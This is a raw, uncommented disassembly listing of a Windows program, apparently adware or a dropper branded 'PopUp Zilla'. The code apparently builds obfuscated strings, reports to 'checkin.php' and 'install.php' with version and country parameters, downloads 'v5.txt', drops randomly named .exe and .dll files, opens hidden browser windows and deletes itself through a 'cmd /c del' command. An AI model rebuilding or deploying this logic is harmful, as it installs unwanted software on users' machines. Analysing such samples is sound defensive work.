call fcn.00406a58
mov edx, 0x40d01e
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d018
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d022
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d026
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d04c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d060
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d018
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d022
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d016
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d024
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d04c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d068
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d038
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d046
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d032
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d018
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d024
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d03c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d048
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d06a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d05e
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d06c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d06e
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d068
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d038
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d046
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d032
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d018
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d048
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d05e
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d04a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02e
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d030
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d032
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d034
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d03c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02e
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d030
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d032
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d034
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d070
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d026
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d04c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d060
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d018
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d022
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d016
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d024
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d04c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d034
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d038
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d046
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01e
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d016
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d038
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d054
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02e
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d06e
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d070
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d046
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d04a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d040
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d022
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d05a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d05c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d024
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d070
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d046
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d04a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d040
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d022
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d05a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d072
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d024
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d074
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d014
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d016
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d062
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
lea ecx, [0x410388]
pop edx
call fcn.004069ac
push dword [0x40d334]
mov edx, 0x40d066
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d028
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d056
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d074
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d014
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d052
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d032
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d046
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d036
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d016
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d038
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d01c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d02a
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d054
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d040
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d034
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d022
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d05c
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d024
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41035c]
call fcn.00406a58
lea ecx, [0x410368]
pop edx
call fcn.004069ac
mov edx, dword [0x410364]
push dword [0x40d334]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41036c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x410370]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x410374]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x410378]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x41037c]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x410380]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x410384]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x410388]
call fcn.00406a58
mov edx, 0x40d012
call fcn.00406a58
mov edx, dword [0x410368]
call fcn.00406a58
lea ecx, [0x41038c]
pop edx
call fcn.004069ac
push dword [0x40d334]
push 0x40d076
push 0x40d012
push dword [0x41038c]
call fcn.004094d2
lea ecx, [0x41038c]
pop edx
call fcn.004069ac
push 8
push 0x410440
push 0x40d2bc
mov ebx, 4
mov edx, dword [0x410440]
call fcn.00412000
mov eax, 0x15
mov ebx, 4
call fcn.00412040
mov ebp, dword [0x410440]
mov edx, str.Install_PopUp__Zilla
lea ecx, [ebp + 4]
call fcn.004069f8
mov edx, str.Download_PopU__pZilla
lea ecx, [ebp + 8]
call fcn.004069f8
mov edx, str.PopUp_PopUp__Zilla
lea ecx, [ebp + 0xc]
call fcn.004069f8
mov edx, str.Update_PopUp__Zilla
lea ecx, [ebp + 0x10]
call fcn.004069f8
mov edx, str.Uninstall_PopUp__Zilla
lea ecx, [ebp + 0x14]
call fcn.004069f8
mov edx, str.Stop_PopUp__Zilla
lea ecx, [ebp + 0x18]
call fcn.004069f8
mov edx, str.Quit_PopUp__Zilla
lea ecx, [ebp + 0x1c]
call fcn.004069f8
mov edx, str.Registry_PopUp__Zilla
lea ecx, [ebp + 0x20]
call fcn.004069f8
mov edx, str.UnRegister_PopUp__Zilla
lea ecx, [ebp + 0x24]
call fcn.004069f8
mov edx, str.Run_PopUp__Zilla
lea ecx, [ebp + 0x28]
call fcn.004069f8
mov edx, str.http:__PopUp__Zilla.com
lea ecx, [ebp + 0x50]
call fcn.004069f8
jmp 0x40385c
push dword [0x40d334]
mov ebx, dword [0x4103e8]
add ebx, 0x6d
mov eax, ebx
call fcn.0040652b
push dword [0x40d334]
mov ebx, dword [0x4103e8]
add ebx, 0x31
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103e8]
add ebx, 0x30
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103e8]
add ebx, 0x30
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103e8]
add ebx, 0x31
mov eax, ebx
call fcn.0040652b
pop eax
lea ecx, [0x4103b8]
pop edx
call fcn.004069ac
push 0x400
push dword [0x4103b8]
call fcn.004073ec
mov dword [0x410344], eax
push dword [0x40d334]
call fcn.0040c12c
push eax
push dword [0x4103a4]
call fcn.0040c184
push dword [0x40d334]
mov eax, 0x19
call fcn.00412109
add eax, 0x32
call fcn.0040652b
pop eax
push dword [0x40d334]
mov eax, 0x19
call fcn.00412109
add eax, 0x32
call fcn.0040652b
pop eax
push dword [0x40d334]
mov eax, 0x19
call fcn.00412109
add eax, 0x32
call fcn.0040652b
pop eax
push dword [0x40d334]
mov eax, 0x19
call fcn.00412109
add eax, 0x32
call fcn.0040652b
pop eax
lea ecx, [0x410404]
pop edx
call fcn.004069ac
push dword [0x40d334]
mov ebx, dword [0x4103e8]
add ebx, 0x6d
mov eax, ebx
call fcn.0040652b
push dword [0x40d334]
mov ebx, dword [0x4103e8]
add ebx, 0x32
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103e8]
add ebx, 0x30
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103e8]
add ebx, 0x30
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103e8]
add ebx, 0x31
mov eax, ebx
call fcn.0040652b
pop eax
lea ecx, [0x4103bc]
pop edx
call fcn.004069ac
push 0x400
push dword [0x4103bc]
call fcn.004073ec
mov dword [0x410348], eax
mov edx, dword [0x410428]
lea ecx, [0x410408]
call fcn.004069f8
jmp 0x403c9b
jmp 0x404160
jmp 0x404257
jmp 0x404332
jmp 0x4044ba
jmp 0x4045ef
jmp 0x404701
jmp 0x4047e2
jmp 0x4048e8
jmp 0x404a32
jmp 0x404bc2
jmp 0x404d58
jmp 0x405032
jmp 0x4051a3
jmp 0x4052b1
jmp 0x4053e3
jmp 0x40591c
push dword [0x40d334]
mov ebx, dword [0x4103d0]
add ebx, 0x74
mov eax, ebx
call fcn.0040652b
push dword [0x40d334]
mov ebx, dword [0x4103d0]
add ebx, 0x65
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d0]
add ebx, 0x73
mov eax, ebx
call fcn.0040652b
pop eax
push dword [0x40d334]
mov ebx, dword [0x4103d0]
add ebx, 0x74
mov eax, ebx
call fcn.0040652b
pop eax
lea ecx, [0x4103dc]
pop edx
call fcn.004069ac
push dword [0x4103f8]
mov edx, dword [0x410394]
pop ecx
call fcn.00406a78
je 0x4059de
push dword [0x40d334]
mov eax, dword [0x4103e0]
call fcn.004065e2
inc dword [0x40d334]
mov edx, dword [0x4103dc]
push dword [0x40d334]
call fcn.00406a58
mov edx, str..exe
call fcn.00406a58
pop edx
pop ecx
mov dword [0x40d334], ecx
call fcn.00406a78
jne 0x4059de
mov eax, 1
jmp 0x4059e0
xor eax, eax
and eax, eax
je 0x405bd7
push dword [0x410410]
call fcn.00403a1f
call fcn.004047e7
push dword [0x40d334]
call fcn.00404a37
lea ecx, [0x41040c]
pop edx
call fcn.004069ac
push dword [0x40d334]
call fcn.004048ed
lea ecx, [0x41041c]
pop edx
call fcn.004069ac
push dword [0x40d334]
mov edx, dword [0x4103ac]
push dword [0x40d334]
call fcn.00406a58
mov edx, str.checkin.php_unq
call fcn.00406a58
mov edx, dword [0x41040c]
call fcn.00406a58
mov edx, str.version
call fcn.00406a58
mov edx, dword [0x410410]
call fcn.00406a58
mov edx, str.pais
call fcn.00406a58
mov edx, dword [0x41041c]
call fcn.00406a58
inc dword [0x40d334]
call fcn.00406bf0
lea ecx, [0x410350]
pop edx
call fcn.004069ac
mov dword [0x4103b4], 1
mov eax, 0xa
cmp eax, dword [0x4103b4]
jl 0x405ae7
push dword [0x40d334]
push 0x40d233
push dword [0x4103b4]
push dword [0x410350]
call fcn.00409530
mov ebx, dword [0x4103b4]
mov ebp, dword [0x410438]
sal ebx, 2
lea ecx, [ebp + ebx]
pop edx
call fcn.004069ac
inc dword [0x4103b4]
jmp 0x405a9d
mov eax, 3
call fcn.00412109
mov ebx, eax
inc ebx
imul ebx, ebx, 0x3e8
imul ebx, ebx, 0x3c
mov dword [0x410420], ebx
push str.iexplorer
push 0x10c80000
push 0xc8
push 0x1c2
push 0x96
push 0x64
xor eax, eax
call fcn.0040a2c0
and eax, eax
je 0x405bd2
call fcn.00409f20
call fcn.00409a30
push str.about:blank
push 0x50
push 0x1b8
push 0xa
push 0xa
push 0
call fcn.00409d5d
push str.about:blank
push 0x50
push 0x1b8
push 0x64
push 0xa
push 1
call fcn.00409d5d
lea eax, [0x4053e8]
push eax
push dword [0x410420]
push 1
call fcn.00409f20
push eax
call sub.USER32.dll_SetTimer
call fcn.0040a320
mov dword [0x4103a0], eax
mov eax, 0x64
call fcn.004121c0
push dword [0x4103a0]
mov ebx, 0x332c
cmp ebx, dword [esp]
jne 0x405bc6
call fcn.0040a3e0
pop eax
mov ebx, dword [0x4103a0]
cmp ebx, 0x10
jne 0x405b9d
jmp 0x4060c5
push dword [0x40d334]
call fcn.00404337
lea ecx, [0x4103c4]
pop edx
call fcn.004069ac
push dword [0x4103c4]
mov edx, 0x40d189
pop ecx
call fcn.00406a78
je 0x405cd2
mov dword [0x4103c8], 1
mov eax, 3
call fcn.00412109
mov ebx, eax
mov eax, 3
call fcn.00412109
add ebx, eax
add ebx, 2
mov dword [0x4103b0], ebx
mov dword [0x4103b4], 1
mov eax, dword [0x4103b0]
cmp eax, dword [0x4103b4]
jl 0x405cab
xor eax, eax
call fcn.004121c0
mov eax, 0x18
call fcn.00412109
mov ebx, eax
add ebx, 0x41
mov dword [0x4103cc], ebx
mov edx, dword [0x4103c4]
push dword [0x40d334]
call fcn.00406a58
push dword [0x40d334]
push dword [0x40d334]
mov eax, dword [0x4103cc]
call fcn.0040652b
pop eax
inc dword [0x40d334]
call fcn.004065e2
pop eax
lea ecx, [0x4103c4]
pop edx
call fcn.004069ac
inc dword [0x4103b4]
jmp 0x405c3a
push dword [0x40d334]
mov edx, 0x40d02c
call fcn.00406a58
mov edx, dword [0x4103c4]
call fcn.00406a58
lea ecx, [0x4103c4]
pop edx
call fcn.004069ac
push dword [0x4103a8]
push 0
call fcn.0040bc5a
and eax, eax
je 0x4060bb
call fcn.0040bc23
mov dword [0x410424], eax
push dword [0x40d334]
call fcn.0040bc23
call fcn.004068bb
lea ecx, [0x410418]
pop edx
call fcn.004069ac
call fcn.0040bc23
mov ebx, eax
inc ebx
push ebx
mov eax, dword [0x410418]
push eax
call fcn.0040bc71
push 0
call fcn.0040bac9
push dword [0x40d334]
mov edx, dword [0x4103ac]
push dword [0x40d334]
call fcn.00406a58
mov edx, str.v5.txt
call fcn.00406a58
inc dword [0x40d334]
call fcn.00406bf0
lea ecx, [0x410354]
pop edx
call fcn.004069ac
push dword [0x40d334]
mov edx, dword [0x4103f8]
push dword [0x40d334]
call fcn.00406a58
mov edx, 0x40d010
call fcn.00406a58
mov edx, dword [0x4103c4]
call fcn.00406a58
mov edx, str..exe
call fcn.00406a58
inc dword [0x40d334]
push 0xa
call fcn.0040baf9
pop dword [0x40d334]
and eax, eax
je 0x4060af
push dword [0x40d334]
call fcn.004048ed
lea ecx, [0x41041c]
pop edx
call fcn.004069ac
call fcn.00403ca0
mov dword [0x4103f4], eax
push dword [0x40d334]
mov edx, dword [0x4103ac]
push dword [0x40d334]
call fcn.00406a58
mov edx, str.install.php_unq
call fcn.00406a58
mov edx, dword [0x41040c]
call fcn.00406a58
mov edx, str.version
call fcn.00406a58
mov edx, dword [0x410410]
call fcn.00406a58
mov edx, str.pais
call fcn.00406a58
mov edx, dword [0x41041c]
call fcn.00406a58
inc dword [0x40d334]
call fcn.00406bf0
lea ecx, [0x410358]
pop edx
call fcn.004069ac
push dword [0x410424]
mov eax, dword [0x410418]
push eax
call fcn.0040be40
push dword [0x40d334]
push dword [0x40d334]
mov edx, 0x40d2b3
call fcn.00406a58
mov edx, dword [0x4103f0]
call fcn.00406a58
mov edx, dword [0x41040c]
call fcn.00406a58
inc dword [0x40d334]
call fcn.0040be80
pop dword [0x40d334]
push 0xa
call fcn.0040bac9
push dword [0x40d334]
mov edx, dword [0x4103f8]
push dword [0x40d334]
call fcn.00406a58
mov edx, 0x40d010
call fcn.00406a58
mov edx, dword [0x4103c4]
call fcn.00406a58
mov edx, str..exe
call fcn.00406a58
inc dword [0x40d334]
mov edx, dword [0x4103f8]
push dword [0x40d334]
call fcn.00406a58
mov edx, 0x40d010
call fcn.00406a58
mov edx, dword [0x4103c4]
call fcn.00406a58
mov edx, str..dll
call fcn.00406a58
call fcn.004045f4
pop dword [0x40d334]
push dword [0x40d334]
mov edx, dword [0x4103f8]
push dword [0x40d334]
call fcn.00406a58
mov edx, dword [0x4103c4]
call fcn.00406a58
inc dword [0x40d334]
call fcn.00409828
pop dword [0x40d334]
mov dword [0x4103e4], eax
push dword [0x40d334]
mov eax, 0xff
call fcn.004068bb
lea ecx, [0x410390]
pop edx
call fcn.004069ac
push 0xff
push dword [0x410390]
push str.comspec
call sub.KERNEL32.DLL_GetEnvironmentVariableA
push dword [0x40d334]
mov eax, 0xff
call fcn.004068bb
lea ecx, [0x410398]
pop edx
call fcn.004069ac
push dword [0x410398]
push 0xff
call sub.KERNEL32.DLL_GetCurrentDirectoryA
push dword [0x40d334]
push 1
mov eax, dword [0x410398]
call fcn.004066d5
inc dword [0x40d334]
mov edx, 0x40d010
pop ecx
mov dword [0x40d334], ecx
call fcn.00406a78
jne 0x406001
mov edx, dword [0x410398]
push dword [0x40d334]
call fcn.00406a58
mov edx, 0x40d010
call fcn.00406a58
lea ecx, [0x410398]
pop edx
call fcn.004069ac
push dword [0x40d334]
mov eax, 0xff
call fcn.004068bb
lea ecx, [0x410400]
pop edx
call fcn.004069ac
push 0xff
push dword [0x410400]
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push dword [0x40d334]
push dword [0x410400]
call fcn.004096b0
lea ecx, [0x4103c0]
pop edx
call fcn.004069ac
push dword [0x40d334]
push 2
push 0x40d189
push dword [0x40d334]
mov edx, str._c_del__
call fcn.00406a58
mov edx, dword [0x410398]
call fcn.00406a58
mov edx, dword [0x4103c0]
call fcn.00406a58
mov edx, 0x40d048
call fcn.00406a58
inc dword [0x40d334]
push dword [0x410390]
call fcn.00409730
pop dword [0x40d334]
mov dword [0x4103ec], eax
jmp 0x4060c5
push 2
call fcn.00403784
jmp 0x4060c5
push 1
call fcn.00403784
push 0
call 0x4060df
push dword [0x41033c]
call sub.KERNEL32.DLL_HeapDestroy
call sub.KERNEL32.DLL_ExitProcess
call fcn.00407230
call fcn.004075c8
call fcn.00406257
call fcn.00407a0c
call fcn.004090bb
call fcn.0040a3f0
call fcn.0040bb7e
call fcn.0040bf1c
ret